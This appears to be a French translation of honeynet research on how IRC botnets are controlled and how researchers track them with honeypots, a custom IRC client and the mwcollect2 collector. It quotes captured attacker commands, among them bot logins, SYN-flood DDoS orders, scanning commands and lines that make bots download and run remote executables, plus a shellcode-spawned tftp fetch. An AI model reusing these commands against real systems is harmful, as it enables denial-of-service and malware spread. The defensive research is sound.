<- :irc1.XXXXXX.XXX NOTICE [urX]-700159 :BOTMOTD File not found
<- :[urX]-700159 MODE [urX]-700159 :+x
Le contrôleur d’un botnet doit s’authentifier pour prendre le contrôle des bots. Cette authentification est réalisée à l’aide d’un préfixe de commande et la commande "auth". Le préfixe de commande est utilisé pour connecter le maître sur le bot et ensuite il faut qu’il s’authentifie. Par exemple,
.login leet0
.la plmp -s
sont des commandes utilisées sur différents bots pour accepter le contrôleur. A nouveau, le paramètre "-s" de l’exemple indique aux bots de rester silencieux lorsqu’ils authentifient leur maître. Sinon, ils répondent quelque chose du style
[MAIN]: Password accepted.
[r[X]-Sh0[x]]: .:( Password Accettata ):. .
ce qui peut générer beaucoup de trafic si vous avez 10,000 bots sur votre réseau. Une fois qu’un attaquant est authentifié, il peut faire ce qu’il veut avec les bots: Rechercher des informations sensibles sur les machines compromises, et envoyer ces fichiers par DCC-sending à une autre machine, faire des attaques DDoS sur des individus ou des organisations, ou activer un keylogger et rechercher des informations sur des comptes PayPal ou eBay. Il s’agit là de quelques commandes possibles, d’autres possibilités ont été présentées précédemment. Le serveur IRC qui a été utilisé pour connecter tous les bots est généralement une machine elle-même infectée. Ceci est probablement du au fait qu’un attaquant n’aurait pas les droits administrateur sur un réseau de chat normal, il lui faut donc mettre en place son propre serveur IRC, ce qui offre plus de flexibilité. Par ailleurs nous avons observé certaines choses intéressantes : seuls les débutants construisent un botnet sur un IRCd normal. Il est absolument évident que vous préparez un mauvais coup si vous avez 1200 postes clients appelés « rbotXXXXXX » qui répondent à une requête dans un canal. Deux logiciels serveurs IRC sont communément utilisés pour faire fonctionner un botnet : Unreal IRCd et ConferenceRoom :
· Unreal IRCd (http://www.unrealircd.com/) est inter-plateforme, et peut ainsi être utilisé pour relier facilement des machines utilisant Windows et Linux. Le logiciel serveur IRC est déshabillé et modifié pour s’adapter aux besoins des possesseurs de botnets.
Les modifications communément constatées consistent à dépouiller les messages "JOIN", "PART" et "QUIT" pour éviter tout trafic inutile. De plus, les messages LUSERS (nombre de clients connectés) et RPL_ISUPPORT sont supprimées pour cacher l’identité et la taille du botnet. Nous avons récemment récupéré la copie d’un fichier binaire Win32 d’un Unreal IRCd fortement modifié, dépouillé et optimisé. Les noms des fichiers laissent à penser que cet IRCd modifié est capable de servir 80.000 bots :
cac8629c7139b484e4a19a53caaa6be0 UNREAL.3.2-m0dded-LyR.rar
9dbaf01b5305f08bd8c22c67e4b4f729 Unreal-80k[MAX]users.rar
de4c1fbc4975b61ebeb0db78d1fba84f unreal-modded-80k-users-1.rar
Comme nous ne possédons pas un botnet de 80.000 utilisateurs et qu’il nous manque 80.000 développeurs dans notre groupe, nous ne sommes pas en mesure de vérifier cette information. Mais il est probable que de tels énormes botnets sont utilisés par les cyber criminels pour des attaques « professionnelles ». Ce genre de réseau peut causer de graves dommages, car ils offrent une énorme bande passante et de nombreuses cibles pour le vol d’identité.
· ConferenceRoom (http://www.webmaster.com/) est une solution IRCd commerciale, et les gens qui gèrent des botnets utilisent généralement une version crackée. ConferenceRoom peut supporter plusieurs milliers de connexions simultanées, avec pseudonyme et enregistrement sur un canal, listes de contacts et connexion de serveur à serveur.
· A notre grande surprise, nous avons déjà trouvé un serveur de Chat Microsoft utilisé comme contrôleur de botnet, et il semblait être stable.
Puisque les gens qui utilisent des botnets ont généralement les mêmes motivations (attaques DDoS et autres crimes), chaque famille de bot a son propre jeu de commandes pour atteindre les mêmes objectifs. Agobot est parfait de ce point de vue : il suffira d’examiner le code source de RegisterCommand pour récupérer la liste complète des commandes, avec une description détaillée de toutes les fonctionnalités. Faute d’un design clair, la famille des SDBot est plus difficile à analyser. Souvent le jeu de commandes est modifié à plusieurs niveaux d’un même bot, et donc une analyse automatique des commandes utilisées est quasiment impossible.
Si vous souhaitez en apprendre plus sur les différentes commandes utilisées sur les bots, nous disposons d’un exposé plus détaillé sur les commandes et leur analyse.
Comment pister les Botnets
Dans cette section nous présentons notre méthode pour trouver et observer les botnets à l’aide de « Honeypots » (ordinateurs leurres utilisés pour attirer les pirates). A l’évidence pister des botnets doit se faire en plusieurs étapes : d’abord il faut rassembler des données concernant un botnet existant. Ceci peut-être fait par exemple en analysant un maliciel capturé. Ensuite on peut attraper un client du réseau et récupérer encore plus d’informations. Dans la première partie de cette section nous voulons ainsi présenter nos techniques de récupération de l’information nécessaire, à l’aide de Honeypots. Et ensuite nous présentons notre approche de l’observation des botnets.
Rassembler de l’information à l’aide de honeynets
Comme indiqué précédemment, nous avons besoin d’informations précises sur chaque botnet dans lequel nous avons réussi à introduire un faux bot. Ces informations consistent en :
· Adresses DNS et IP du serveur IRC ainsi que le numéro du port
· (éventuellement) le mot de passe pour se connecter au serveur IRC
· le pseudonyme du bot et son type d’identification
· le canal à rejoindre et le mot de passe du canal (optionnel)
L’utilisation d’un GenII Honeynet contenant quelques honeypots Windows et snort_inline nous permettent ce récupérer cette information. Nous avons déployé un Honeynet GenII légèrement modifié, ainsi que l’indique ce schéma :
Le honeypot Windows est une version non patchée de Windows 2000 ou XP. Ce système est ainsi très vulnérable aux attaques et normalement quelques minutes suffisent pour l’infecter. Il est situé sur le réseau d’un FAI Allemand. En moyenne, la durée de vie d’un Honeypot est de 10 minutes. Après cette courte période, le honeypot est généralement contaminé par un maliciel automatisé. Le durée la plus courte fut de quelques secondes : une fois le câble réseau branché, un SDBot a infecté la machine au travers d’une exploitation du port TCP 135 et s’est installé sur le PC.
Comme expliqué précédemment, un bot essai de se connecter à un serveur IRC pour obtenir des instructions supplémentaires lorsqu’il a réussi à s’emparer d’un honeypot. C’est ici que le Honeywall entre en jeu : Etant donné les dispositifs de contrôle des données installés sur le honeywall, il est possible de contrôler le trafic sortant. Nous utilisons « snort_inline » pour le contrôle des données et remplaçons toutes les connexions sortantes suspectes. Une connexion est suspecte si elle contient des messages IRC typiques, comme « 332 », « TOPIC », « PRIVMSG » ou « NOTICE ». Ainsi nous avons la possibilité d’empêcher le bot d’accepter des instructions valides par le canal maître. Il ne peut ainsi faire de mal à personne. Nous avons détecté un bot dans notre Honeynet. Parallèlement, nous pouvons extraire des données que nous avons obtenu jusqu’à maintenant des informations sensibles sur le botnet : les capacités de capture de données du Honeywall nous permettent de déterminer à quelle adresse DNS et adresse IP le bot cherche à se connecter, ainsi que le numéro de port correspondant. De plus, nous pouvons extraire des données le login et les informations d’identification. Le mot de passe du serveur, le nom du canal ainsi que le mot de passe du canal, peuvent aussi être obtenus de cette façon. Ainsi nous avons rassemblé toutes les informations nécessaires, et le honeypot peut continuer à attraper d’autres maliciels. Puisque nous ne nous intéressons pas pour l’instant aux maliciels capturés, nous reconstruisons les honeypots toutes les 24 heures, de façon à avoir un système « propre » chaque jour. Le projet Honeynet Allemand (German Honeynet Project) travaille aussi sur un autre projet, la capture de maliciels et l’analyse de leurs nuisances, mais nous en parlerons plus loin.
Observer un Botnets
La deuxième étape de la chasse aux botnets démarre, nous voulons nous reconnecter au botnet. Comme nous avons toutes les données nécessaires, cela n’est pas très difficile. Comme première approche, il suffit d’installer un « irssi » (Client IRC en mode console) ou n’importe quel autre client IRC et essayer de se connecter au réseau. Si celui-ci n’est pas trop important (moins de 50 clients), il y a un risque que votre client soit identifié, puisqu’il ne répond pas aux instructions valides. Dans ce cas, l’opérateur du botnet aura tendance à soit bannir, soit inonder de DDoS le client suspect. Pour éviter d’être repéré, vous pouvez essayer de vous cacher. Il peut être utile de désactiver au niveau du client les commandes déclenchant des réponses automatiques : si votre client répond à un message « CTCP VERSION » par « irssi 0.89 tournant sur openbsd i386 » alors l’attaquant qui a issu la commande « Client To Client Protocol (CTCP) » va se méfier. Si vous n’êtes pas repéré par les opérateurs des botnets, vous pouvez activer la journalisation de toutes les commandes et ainsi observer ce qui se passe.
Mais ce genre d’approche pose de nombreux problèmes : Certains botnets utilisent des IRC très dépouillés qui ne correspondent pas au RFC ce qui fait qu’un client IRC normal ne peut pas s’y connecter. Une façon possible de contourner cette situation est de trouver ce qui a été modifié par l’opérateur et ensuite modifier le code source de votre client favoris en conséquence. La plupart des clients IRC actuels n’ont pas un code bien écrit ou ont d’autres inconvénients. Il est probable que vous finirez par développer votre propre client IRC pour espionner les botnets. Bienvenue au club : le notre s’appelle « Drone ». Ils y a quelques pièges à prendre en compte quand vous écrivez votre propre client IRC. Voici quelques caractéristiques utiles à un client IRC destiné à suivre à la trace un botnet :
· Support de SOCKS Version 4
· Support multi-serveur : très utile si vous ne voulez pas lancer votre logiciel plusieurs fois si vous suivez plusieurs botnet
· Pas de Threading : les logiciels multi-thread sont difficile à déboguer
· Connexion et résolution DNS non bloquante
· Poll() : nous avions besoin d’un multiplexeur pour être à l’écoute des évènements sur un descripteur de fichier utilisant des entrées/sorties non bloquantes. Select() aurait pu faire l’affaire aussi.
· Libadns : C’est une librairie de résolution DNS asynchrone. La recherche de noms d’hôtes ne bloque pas votre code, même si la recherche prend un certain temps. Nécessaire si on décide de ne pas utiliser les threads.
· Ecrit en C++ puisque l’OOP offre de nombreux avantages pour développer un client multi-serveurs.
· Interface modulaire, de façon à pouvoir charger/décharger des modules C++ programme tournant
· Libcurl : C’est un outil en ligne de commande permettant de transférer des fichiers par une syntaxe de type URL, supportant de nombreux protocoles différents. Libcurl est une librairie qui offre les mêmes caractéristiques qu’un outil en ligne de commande
· Perl Compatible Regular Expressions (PCRE) : La librairie PCRE est un ensemble de fonctions qui met en œuvre et en corrélation des trames classiques d’expressions, en utilisant la même syntaxe et la même sémantique que PERL 5. PCRE permet à notre client de deviner la signification de commandes et d’interagir parfois de façon native.
· Une importante interface de journalisation/débogage afin qu’il soit possible d’avoir des informations sur des sujets non-conformes aux RFC (remarque : une journée de recueil d’informations sur 50 botnets peut produire plus de 500 Mo de données à analyser).
Drone est capable d’utiliser des proxy SOCKS v4 ainsi nous n’avons pas de problèmes si sa présence est remarquée par un attaquant dans un botnet. Les proxy Socks v4 reposent sur des appels distants au sein de différents réseaux ce qui fait que nous pouvons facilement changer d’adresse IP. Drone lui-même tourne sur une machine indépendante que nous gérons nous-mêmes. Nous tenons à remercier toutes les personnes qui contribuent à notre projet en donnant des shells ou des proxy. Certains développeurs d’anti-virus publient des données sur les botnets. Bien qu’utile, cette information peut parfois ne pas être suffisante pour pister des botnets de manière efficace, ainsi que nous le démontrons dans Botnet Vendors.
Parfois les possesseurs de botnets lancent des commandes en direction de leurs bots. Nous présentons les commandes les plus utilisées dans la dernière section. Selon notre approche, nous sommes en mesure de surveiller ces commandes et d’en apprendre plus sur les motivations des attaquants. De façon à améliorer encore notre technologie, nous avons essayé de créer une émulation de bot, basée sur PCRE, pour que notre faux client puisse répondre correctement à n’importe quelle commande. Mais nous avons rapidement revu nos prétentions à la baisse, car il n’y a pas de commandes standards pour les botnets, et les attaquants on tendance à modifier leurs commandes assez souvent. Dans de nombreux cas, les réponses aux commandes sont même traduites dans leur langue maternelle.
Lorsque vous surveillez un nombre important de réseaux, essayez de voir si certains d’entre eux sont liés, et groupez les si possible. La vérification des liens est facile, connectez vous simplement à un canal spécifique sur tous les réseaux et voyez si vous y trouvez plus d’un client. Il est surprenant de constater le nombre de réseaux qui sont liés. Les gens ont tendance à configurer un nom DNS et un canal pour chaque version de bot isolée. Pour en apprendre plus sur l’attaquant, faites une recherche Google sur son pseudonyme et vous serez surpris de la quantité d’information que vous pouvez trouver. Enfin, renseignez-vous sur l’enregistrement RIR (Regional Internet Registries) du serveur (RIPE, NCC, ARIN, APNIC et LACNIC) pour en apprendre encore plus sur l’attaquant.
Les leçons apprises
Dans cette section nous présentons quelques découvertes faites lors de l'observation des botnets. Les données sont épurées, de façon à ne permettre à personne de tirer des conclusions concernant des attaques spécifiques sur des systèmes particuliers, et pour protéger l'identité et la vie privée des personnes concernées. De même, comme les données de cette étude ont été collectées en Allemagne par le German Honeynet Project, les informations sur des attaques spécifiques et des systèmes compromis on été envoyées au DFN-CERT (Computer Emergency Response Team) situé à Hambourg, RFA. Nous voudrions commencer par quelques statistiques sur les botnets que nous avons observés ces derniers mois :
· Nombre de botnets
Nous avons pu pister un peu plus de 100 botnets au cours des 4 derniers mois. Certains d'entre eux sont morts (par exemple arrêt du serveur IRC principal ou attaquants inexpérimentés) et en ce moment nous observons environ 35 botnets actifs.
· Nombre de clients
Durant ces quelques mois, nous avons vu 226 585 adresses IP uniques rejoindre au moins un des canaux que nous surveillons. Voir une IP signifie ici que l'IRCd n'était pas modifié de façon à ne pas nous envoyer un message JOIN pour chaque nouveau client. Si un IRCd est modifié pour ne pas montrer les nouveaux clients, alors nous ne voyons aucune IP. De plus certains IRCd masquant l'adresse IP des nouveaux clients, celles-ci n'entrent pas non plus dans le décompte. Ceci montre que la menace représentée par les botnets est probablement pire que ce que l'on peut penser. Même en étant très optimiste et en estimant que nous pistons un pourcentage significatif de tous les botnets et que tous les serveur IRC des botnets que nous pistons ne sont pas modifiés pour cacher les commandes JOIN ou cacher l'IP des nouveaux clients, on peut estimer que plus d'un million d'hôtes sont compromis et peuvent être contrôlés par des attaquants mal intentionnés. Nous savons qu'il y a plus de client de botnets puisque les attaquants utilisent parfois des serveurs IRC modifiés qui ne nous donnent aucune information sur les clients qui s'y rattachent.
· Taille classique des botnets
Certains botnets ne sont constitués que de quelques centaines de zombies. A l'inverse, nous avons aussi surveillé plusieurs grands botnets accueillant jusqu'à 50.000 hôtes. La taille réelle d'un tel botnet est difficile à estimer. Souvent les attaquants utilisent des serveurs IRC très modifiés et les zombies sont répartis sur plusieurs serveurs IRC. Nous utilisons le test de liens entre IRCd pour détecter les connexions entre différents botnets formant un grand botnet. Ainsi nous sommes en mesure d'établir une approximation de leur taille réelle. Il faut se souvenir que des botnets constitués de plusieurs centaines de milliers de zombies ont été signalés par le passé. Si un botnet est constitué de plus de 5 serveurs IRC inter-connectés, nous considérons qu'il est grand même si nous ne sommes pas en mesure de déterminer un chiffre précis, du fait que les logiciels IRCd sont modifiés. Remarque : nous avons connaissance d'un ordinateur familial infecté par 16 (!) zombies différents, aussi est-il difficile d'estimer la population mondiale de bot.
· Etendue des attaques DdoS
Nous pouvons faire une estimation fondée de l'étendue actuelle des attaques DdoS émanant des botnets. Nous pouvons observer les commandes envoyées par les contrôleurs et ainsi voir quand un botnet est utilisé pour de telles attaques. Depuis début Novembre 2004 à fin Janvier 2005, nous avons pu observer 226 attaques DdoS contre 99 cibles uniques. Souvent ces attaques ciblaient des connexions individuelles, mais il y a aussi des attaques contre de grands sites Web. De façon à mettre en évidence la menace posée par de telles attaques, nous présentons les données rassemblées sur les attaques DdoS dans un document séparé (voir honeynet.org). "Operation Cyberslam" illustre une démarche DdoS commerciale contre des concurrents dans la vente en ligne.
Une attaque DdoS typique ressemble aux exemples suivants : le contrôleur se joint au canal et envoi l'instruction (parfois même en arrêtant la contamination de nouveaux bots). Quand les bots ont fait leur travail ils rendent compte :
[###FOO###] <~nickname> .scanstop
[###FOO###] <~nickname> .ddos.syn 151.49.8.XXX 21 200
[###FOO###] <-[XP]-18330> [DDoS]: Flooding: (151.49.8.XXX:21) for 200 seconds
[...]
[###FOO###] <-[2K]-33820> [DDoS]: Done with flood (2573KB/sec).
[###FOO###] <-[XP]-86840> [DDoS]: Done with flood (351KB/sec).
[###FOO###] <-[XP]-62444> [DDoS]: Done with flood (1327KB/sec).
[###FOO###] <-[2K]-38291> [DDoS]: Done with flood (714KB/sec).
[...]
[###FOO###] <~nickname> .login 12345
[###FOO###] <~nickname> .ddos.syn 213.202.217.XXX 6667 200
[###FOO###] <-[XP]-18230> [DDoS]: Flooding: (213.202.217.XXX:6667) for 200 seconds.
[...]
[###FOO###] <-[XP]-18320> [DDoS]: Done with flood (0KB/sec).
[###FOO###] <-[2K]-33830> [DDoS]: Done with flood (2288KB/sec).
[###FOO###] <-[XP]-86870> [DDoS]: Done with flood (351KB/sec).
[###FOO###] <-[XP]-62644> [DDoS]: Done with flood (1341KB/sec).
[###FOO###] <-[2K]-34891> [DDoS]: Done with flood (709KB/sec).
[...]
Les deux attaques montrent des cibles classiques d'attaques DdoS : un serveur FTP sur le port 21/TCP ou un serveur IRC sur le port 6667/TCP.
· La contamination de nouveaux bots
La commande ".advscan lsass 150 5 0 –r –s" ainsi que d'autres sont les messages les plus fréquemment observés. De par ce genre de commandes, les bots se multiplient et recherchent des systèmes vulnérables. Communément, ce sont des systèmes Windows qui sont exploités, et ainsi nous observons la plupart du trafic sur les ports Windows classiques (par exemple le partage de fichiers basé sur CIFS). Nous avons analysé cela plus en détail et présentons les résultats sur une page dédiée à la multiplication des bots.
· La récolte d'informations
Parfois nous pouvons aussi observer la récolte d'informations depuis les machines compromises. A l'aide d'une commande telle que ".getcdkeys" l'opérateur du botnet est capable de demander une liste de clefs de CD (par exemple pour Windows ou des jeux) de tous les zombies. Ces clés de CD peuvent être vendues aux crackers ou bien l'attaquant peut les utiliser dans d'autres buts étant donné qu'elles sont considérées comme de l'information sensible. Ces opérations sont cependant rares.
· Mises à jour des botnets
Nous avons observé des mises à jour de botnets assez fréquemment. Mise à jour, dans ce contexte, signifie que les zombies doivent télécharger un programme depuis Internet et l'exécuter. Quelques exemples de commandes :
· .download http://spamateur.freeweb/space.com/leetage/gamma.exe c:\windows\config\gamma.exe 1
· .download http://www.spaztenbox.net/cash.exe c:\arsetup.exe 1 -s
· !down http://www.angelfire.com/linuks/kuteless/ant1.x C:\WINDOWS\system32\drivers\disdn\anti.exe 1
· ! dload http://www.angelfire.com/linuks/kuteless/ant1.x C:\firewallx.exe 1
· .http.update http://59.56.178.20/~mugenxur/rBot.exe c:\msy32awds.exe 1
· .http.update http://m1cr0s0ftw0rdguy.freesuperhost.com/jimbo.jpg %temp%\vhurdx.exe -s
(Remarque : nous avons purgé les liens, de façon à ce que le code ne soit pas téléchargé/exécuté par erreur)
Comme vous pouvez le voir, les attaquants utilisent différents fournisseurs d'espace web et maquillent souvent l'exécutable téléchargé. Le paramètre "1" de la commande indique au zombies d'exécuter le fichier une fois téléchargé. De cette façon, les bots peuvent être mis à jour en direct et être améliorés. Nous recueillons aussi les maliciels que les bots téléchargent et les analysons si possible. Au total, nous avons rassemblé 329 exécutables. 201 d'entre eux sont des maliciels, ainsi que le montre une analyse avec "Kaspersky Anti-Virus On-Demand Scanner for Linux" :
28 Backdoor.Win32.Rbot.gen
27 Backdoor.Win32.SdBot.gen
22 Trojan-Dropper.Win32.Small.nm
15 Backdoor.Win32.Brabot.d
10 Backdoor.Win32.VB.uc
8 Trojan.WinREG.LowZones.a
6 Backdoor.Win32.Iroffer.b
5 Trojan.Win32.LowZones.q
5 Trojan-Downloader.Win32.Small.qd
5 Backdoor.Win32.Agobot.gen
4 Virus.Win32.Parite.b
4 Trojan.Win32.LowZones.p
4 Trojan.BAT.Zapchast
4 Backdoor.Win32.Wootbot.gen
4 Backdoor.Win32.ServU-based
4 Backdoor.Win32.SdBot.lt
3 Trojan.Win32.LowZones.d
3 Trojan-Downloader.Win32.Agent.gd
2 Virus.BAT.Boho.a
2 VirTool.Win32.Delf.d
2 Trojan-Downloader.Win32.Small.ads
2 HackTool.Win32.Clearlog
2 Backdoor.Win32.Wootbot.u
2 Backdoor.Win32.Rbot.af
2 Backdoor.Win32.Iroffer.1307
2 Backdoor.Win32.Iroffer.1221
2 Backdoor.Win32.HacDef.084
1 Trojan.Win32.Rebooter.n
1 Trojan.Win32.LowZones.ab
1 Trojan.Win32.KillFiles.hb
1 Trojan-Spy.Win32.Quakart.r
1 Trojan-Proxy.Win32.Ranky.aw
1 Trojan-Proxy.Win32.Agent.cl
1 Trojan-Downloader.Win32.Zdown.101
1 Trojan-Downloader.Win32.IstBar.gv
1 Trojan-Downloader.Win32.IstBar.er
1 Trojan-Downloader.Win32.Agent.dn
1 Trojan-Clicker.Win32.Small.bw
1 Trojan-Clicker.Win32.Agent.bi
1 Net-Worm.Win32.DipNet.f
1 HackTool.Win32.Xray.a
1 HackTool.Win32.FxScanner
1 Backdoor.Win32.Wootbot.ab
1 Backdoor.Win32.Wisdoor.at
1 Backdoor.Win32.Spyboter.gen
1 Backdoor.Win32.Rbot.ic
1 Backdoor.Win32.Rbot.fo
1 Backdoor.Win32.Optix.b
1 Backdoor.Win32.Agent.ds
La plupart des autres fichiers exécutables sont soit des adware (un programme affichant une bannière lorsqu'il est exécuté ou rapportant les habitudes des utilisateurs ou des informations à des tiers), soit des serveurs proxy (un processus informatique relayant un protocole entre un ordinateur client et un serveur), soit des addons pour navigateurs (Browser Helper Objects.)
Il n'est pas rare que quelqu'un vole le botnet de quelqu'un d'autre. Il est quelque peu amusant d'observer plusieurs attaquants en concurrence. Ainsi qu'il a déjà été signalé, les zombies sont souvent protégés par une donnée sensible, par exemple un nom de canal ou un mot de passe de serveur. Si quelqu'un peut obtenir cette information, il est alors possible de mettre à jour les bots d'un autre botnet avec un autre programme, volant ainsi les bots du premier botnet. Par exemple, il y a quelque temps nous avons pu observer comment le contrôleur du botnet No 12 a volé des zombies du botnet No 25, à priori à l'abandon.
Il y a eu récemment une mise à jour très inhabituelle sur l'un des botnets que nous surveillons : tout allait bien, le maître du botnet s'authentifia avec succès et envoya comme instruction de télécharger et exécuter un nouveau fichier. Notre client Drone téléchargea le fichier, qui fut analysé, ensuite nous avons configuré un client avec le pseudonyme, l'identité et les infos utilisateur correspondants. Mais ensuite notre client n'a pas pu se connecter au serveur IRC pour rejoindre le bon canal. Le premier caractère du pseudonyme était invalide pour le logiciel IRCd utilisé. De cette façon, le (quelque peu stupide) attaquant a perdu environ 3000 zombies, qui submergèrent sans arrêt son serveur de tentatives de connexions.
Une chose intéressante, mais rarement vue, ce sont les discussions des possesseurs de zombies sur leur canal de connexion. Nous avons observé plusieurs de ces discussions et appris beaucoup sur leur vie sociale de cette façon. Une fois nous avons observé un hébergeur abritant un botnet sur ses propres serveurs en train d'attaquer par DdoS ses concurrents. Ces gens utilisent les mêmes pseudo pour contrôler leur botnet que pour créer des comptes dans un autre réseau IRC. De plus, certaines personnes qui font fonctionner des botnets offrent une manne d'informations sur eux mêmes par le fait qu'ils n'utilisent pas un hébergeur gratuit et anonyme pour mettre à jour leurs botnets. Ce genre d'individu montre comment même des gens peu compétents peuvent utiliser et gérer un botnet.
Nos observations on montré que souvent les botnets sont gérés par des jeunes hommes ayant des capacités en programmation étonnement limitées. Les forums sont bondés de post tels que "Comment puis-je compiler …" et autres questions semblables. Ces gens arrivent assez bien à multiplier leurs zombies, mais leurs actions sont plus ou moins inoffensives. Cependant nous avons aussi observé des attaquants plus avancés : ces personnes ne se connectent au canal de contrôle que très rarement. Elles utilisent un pseudonyme d'un seul caractère, lancent une commande et se déconnectent aussitôt. Les mises à jour des zombies qu'elles contrôlent sont très professionnelles. Ces personnes utilisent probablement les botnets pour des usages commerciaux et "vendent" leurs services. Un faible pourcentage utilise ses botnets pour gagner de l'argent. Par exemple, en installant des Browser Helper Objects pour des sociétés pistant ou trompant les internautes, ou cliquant sur des popups. Un très petit pourcentage de managers de botnets semble hautement qualifié, modifiant leur logiciel IRCd jusqu'à le rendre non compatible avec les RFC, ne permettant pas aux clients IRC standard de se connecter.
Une autre possibilité consiste à installer des logiciels spéciaux pour voler de l'information. Nous avons eu le cas très intéressant d'attaquants volant des objets Diablo 2 sur les machines compromises et les revendant sur Ebay. Diablo 2 est un jeu en ligne dans lequel vous pouvez améliorer votre personnage en accumulant des objets puissants. Plus l'objet est rare, plus le prix en est élevé sur Ebay. Une recherche de Diablo 2 sur Ebay montre que certains de ces objets permettent à un attaquant de faire un intéressant bénéfice. Certains botnets sont utilisés pour spammer : vous pouvez louer un botnet. Les opérateurs vous donnent une liste de serveurs Socks v4 avec les adresses IP des hôtes et les ports sur lesquels tournent leurs proxy. Il y a des cas concrets dans lesquels des botnets furent vendus à des spammers en tant que relais de spam: "Uncovered: Trojans as Spam Robots". Vous pouvez voir l'exemple d'un attaquant en train d'installer un programme (dans ce cas là un rootkit) dans cette capture : captured example.
Aller plus loin
Un des axes de recherche que nous poursuivons pour améliorer le pistage des botnets consiste à rassembler des maliciels. Le German Honeynet Project développe un programme nommé mwcollect2 et destiné à collectionner les maliciels de façon simple et automatisée. Le noyau mwcollect2 est composé de plusieurs modules liés dynamiquement :
· Modules "Vulnérabilités" : Ils ouvrent quelques ports vulnérables classiques (par exemple 135 ou 2745) et simulent les failles correspondant à ces ports.
· Modules "Analyse de code noyau" : Ces modules transforment les codes noyau reçus par un des modules "Vulnérabilités" en une URL générique qui sera reprise par un autre genre de module.
· Et enfin, modules de recherche : qui téléchargent simplement les fichiers spécifiés dans une URL. Ces URL n'ont pas nécessairement besoin d'être des URL http ou FTP, elles peuvent être TFTP ou un autre protocole.
Actuellement mwcollect2 permet la simulation de différentes vulnérabilités. Les deux exemples suivants montrent le logiciel en action. Dans le premier exemple, mwcollect2 simule une vulnérabilité TCP sur le port 135 et attrape un maliciel de façon automatique :
mwc-tritium: DCOM Shellcode starts at byte 0x0370 and is 0x01DC bytes long.
mwc-tritium: Detected generic XOR Decoder, key is 12h, code is e8h (e8h) bytes long.
mwc-tritium: Detected generic CreateProcess Shellcode: "tftp.exe -i XXX.XXX.XXX.XXX get cdaccess6.exe"
mwc-tritium: Pushed fetch request for "tftp://XXX.XXX.XXX.XXX/cdaccess6.exe".
mwc-tritium: Finished fetching cdaccess6.exe
Dans le second exemple le logiciel simule une machine pouvant être exploité à travers la faille ouverte par le vers Bagle. A nouveau, mwcollect2 est capable de récupérer le maliciel avec succès :
mwc-tritium: Bagle connection from XXX.XXX.XXX.XXX:4802 (to :2745).
mwc-tritium: Bagle session with invalid auth string: 43FFFFFF303030010A2891A12BE6602F328F60151A201A00
mwc-tritium: Successful bagle session, fetch "ftp://bla:bla@XXX.XXX.XXX.XXX:4847/bot.exe".
mwc-tritium: Pushed fetch request for "ftp://bla:bla@XXX.XXX.XXX.XXX:4847/bot.exe".
mwc-tritium: Downloading of ftp://bla:bla@XXX.XXX.XXX.XXX:4847/bot.exe (ftp://bla:bla@XXX.XXX.XXX.XXX:4847/bot.exe) successful.
Le listing suivant montre l'efficacité de cette approche :
7x mwc-datasubm.1108825284.7ad37926 2005-02-19 16:01 CET 71de42be10d1bdff44d872696f900432
1x mwc-datasubm.1108825525.4a12d190 2005-02-19 16:05 CET e8b065b07a53af2c74732a1df1813fd4
1x mwc-datasubm.1108825848.7091609b 2005-02-19 16:10 CET 48b80b4b6ad228a7ec1518566d96e11e
2x mwc-datasubm.1108826117.20bf1135 2005-02-19 16:15 CET c95eb75f93c89695ea160831f70b2a4f
78x mwc-datasubm.1108826639.4a2da0bb 2005-02-19 16:23 CET 42cbaae8306d7bfe9bb809a5123265b9
19x mwc-datasubm.1108826844.36d259cc 2005-02-19 16:27 CET b1db6bbdfda7e4e15a406323bea129ce
3x mwc-datasubm.1108827274.77b0e14b 2005-02-19 16:34 CET fbd133e3d4ed8281e483d8079c583293
3x mwc-datasubm.1108827430.3c0bb9c9 2005-02-19 16:37 CET 7711efd693d4219dd25ec97f0b498c1f
4x mwc-datasubm.1108828105.6db0fb19 2005-02-19 16:48 CET 23fde2e9ebe5cc55ecebdbd4b8415764
29x mwc-datasubm.1108828205.11d60330 2005-02-19 16:50 CET 8982e98f4bde3fb507c17884f60dc086
2x mwc-datasubm.1108828228.500c4315 2005-02-19 16:50 CET d045f06f59ae814514ab329b93987c86
1x mwc-datasubm.1108828305.7c2a39a8 2005-02-19 16:51 CET 556779821a8c053c9cc7d23feb5dd1d4
34x mwc-datasubm.1108828311.655d01da 2005-02-19 16:51 CET de53892362a50b700c4d8eabf7dc5777
1x mwc-datasubm.1108828418.178aede3 2005-02-19 16:53 CET 2a4d822c2a37f1a62e5dd42df19ffc96
1x mwc-datasubm.1108828822.466083aa 2005-02-19 17:00 CET 2c1f92f9faed9a82ad85985c6c809030
1x mwc-datasubm.1108829309.705a683c 2005-02-19 17:08 CET be4236ffe684eb73667c78805be21fe6
11x mwc-datasubm.1108829323.4f579112 2005-02-19 17:08 CET 64cfefc817666dea7bc6f86270812438
1x mwc-datasubm.1108829553.56e1167d 2005-02-19 17:12 CET 5ab66fae6878750b78158acfb225d28f
11x mwc-datasubm.1108830012.4bbdedd9 2005-02-19 17:20 CET 05b691324c6ce7768becbdba9490ee47
1x mwc-datasubm.1108830074.1ca9565f 2005-02-19 17:21 CET e740de886cfa4e1651c3b9be019443f6
98x mwc-datasubm.1108830171.6ea1f079 2005-02-19 17:22 CET 3a0ab2b901f5a9e1023fa839f8ef3fe9
1x mwc-datasubm.1108830729.50dbf813 2005-02-19 17:32 CET f29797873a136a15a7ea19119f72fbed
1x mwc-datasubm.1108831490.3cd98651 2005-02-19 17:44 CET a8571a033629bfad167ef8b4e139ce5c
13x mwc-datasubm.1108832205.5eef6409 2005-02-19 17:56 CET d202563db64f0be026dd6ba900474c64
A l'aide d'un seul "scanner" connecté à Internet nous avons pu récupérer 324 programmes, dont au total 24 uniques, sur une période de 2 heures. L'unicité des maliciels a été calculée à l'aide de md5sum, un outil utilisé pour calculer et vérifier des résumés MD5.
L'avantage majeur en utilisant mwcollect2 pour repérer des zombies est avant tout la stabilité : un zombies qui essai de contaminer un "pot de miel" sur lequel tourne Windows 2000 avec un code noyau qui contient un offset jmp ebx pour Windows XP va à l'évidence planter le service. Dans la plupart des cas, le pot de miel sera obligé de redémarrer. Inversement, mwcollect2 peut être exploité avec succès par tous ces outils et de ce fait attraper beaucoup plus de programmes de cette façon. De plus, mwcollect2 est facile à déployer : une simple commande d'activation et la pêche peut commencer (vous pouvez éventuellement souhaiter changer la configuration). Cependant l'inconvénient de la recherche de zombies de cette façon est que les programmes doivent quand même être vérifiés manuellement. Un pot de miel derrière un honeywall avec snort_inline filtrant le trafic IRC intéressant pourrait même configurer automatiquement le drone d'exploration après infection.
